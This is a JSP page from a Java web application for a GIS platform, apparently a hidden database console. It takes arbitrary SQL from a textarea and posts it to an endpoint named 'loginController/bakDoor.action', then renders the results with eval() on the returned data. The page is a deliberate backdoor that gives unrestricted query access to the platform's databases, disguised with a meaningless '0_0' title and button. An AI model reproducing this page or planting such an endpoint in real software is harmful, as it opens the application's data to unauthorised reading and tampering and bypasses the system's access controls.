<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<%@ page language="java" pageEncoding="utf-8" %>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script src="client/gistech/lib/jquery.min.js"></script>
 <script src="client/gistech/lib/jquery_jsoncolumn/jquery.columns.min.js"></script>
 <link rel="stylesheet" href="client/gistech/lib/jquery_jsoncolumn/classic.css">
<script type="text/javascript">
  function comeOn(){
	  //alert(1);
	  var g = document.getElementById('jsonData').value;
	  var s = JSON.parse(g);
	  $('#columns').columns({
	      data:eval(s.result)
	  });
  }
  
 function comeOn2(){
	 $('#columns').remove();
	 $('body').append($("<div id='columns'></div>"))
	 var g = document.getElementById('sql').value;
	 
	 $.ajax({
		    url:'client/service/loginController/bakDoor.action',
		    type:'POST', //GET
		    async:true,    //或false,是否异步
		    data:{
		        sql: g
		    },
		    timeout:5000,    //超时时间
		    dataType:'json',    //返回的数据格式：json/xml/html/script/jsonp/text
		    beforeSend:function(xhr){
		        console.log(xhr)
		        console.log('发送前')
		    },
		    success:function(data,textStatus,jqXHR){
		       // console.log(data)
		        if(!data.success){
		        	alert('sql 查询出错');
		        	return;
		        }
		       
		        if(data.rows.length==0){
		        	alert('查询无数据');
		        	return;
		        }
		       
		  	    $('#columns').columns({
		  	      data:eval(data.result)
		  	    });
		    },
		    error:function(xhr,textStatus){
		        console.log('错误')
		        console.log(xhr)
		        console.log(textStatus)
		    },
		    complete:function(){
		        console.log('结束')
		    }
		})
	 
 }
</script>

<title>0_0</title>
 
	 
</head>
<body style="background-color: white;">
	 <form action="client/service/loginController/bakDoor.action" method="post" style="width: 700;height: 400;     margin: 37px 172px;">
	 <textarea id= "sql" rows="10" cols="100" name="sql" style="width: 700;height: 400;    font-size: 20px;" >select * from sddcgisplatform.
	 select * from sddcgisplatform.</textarea>
	 <!-- 
	 
	   <button type="submit"> o_o</button>
	  -->
	 
	 <button type="button" onclick="comeOn2()">0_0</button>
	 
	  <textarea id= "jsonData" rows="3" cols="100" name="sql" style=" font-size: 20px;" >
	  sddcgisplatform.  sddcgisdata. </textarea>
	 </form>
	 <div id="columns"></div>
	 <!-- 
	 
	 <iframe src="http://www.json.cn/" width="1800" height="1000" style="    margin-top: -32px;"></iframe>
	  -->
</body>
</html>

